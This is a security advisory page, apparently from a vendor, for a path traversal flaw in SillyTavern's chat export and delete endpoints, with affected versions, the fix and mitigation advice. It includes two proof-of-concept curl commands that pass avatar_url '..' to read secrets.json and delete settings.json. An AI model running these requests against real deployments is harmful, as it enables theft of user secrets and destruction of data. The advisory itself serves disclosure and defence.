GHSA-vprr-q85p-79mf
HIGHGHSA-vprr-q85p-79mf is a high-severity (CVSS 8.3) Path Traversal vulnerability in sillytavern. O3 Security confirms whether GHSA-vprr-q85p-79mf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
sillytavernnpmDescription
Summary
A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url="..".
Details
The input validator used by avatar_url blocks only / and NUL bytes, but does not block traversal segments like ...
Evidence:
- Weak validator regex (does not reject
..):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27 - Vulnerable delete path construction:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577 - Vulnerable export path construction:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598 - Endpoint auth context (authenticated user access):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239
Because avatar_url=".." is accepted, path.join(<user>/chats, "..") resolves to <user>/, enabling direct access to files outside the chats directory.
PoC
Prerequisites:
- Valid authenticated session cookie (
cookie.txt) - Valid CSRF token (
$TOKEN)
Read sensitive file (secrets.json):
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
http://TARGET:8000/api/chats/export
Delete sensitive file (settings.json):
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","chatfile":"settings.json"}' \
http://TARGET:8000/api/chats/delete
Impact
- Confidentiality: exposed per-user secrets and config data.
- Integrity/Availability: attacker can delete critical per-user files and break account operation.
- Risk is significant in multi-user or remotely reachable deployments.
Resolution
The issue was addressed in version 1.17.0
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | sillytavern | all versions | 1.17.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sillytavern. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update sillytavern to 1.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vprr-q85p-79mf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vprr-q85p-79mf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vprr-q85p-79mf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vprr-q85p-79mf in your dependencies?
O3 detects GHSA-vprr-q85p-79mf across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.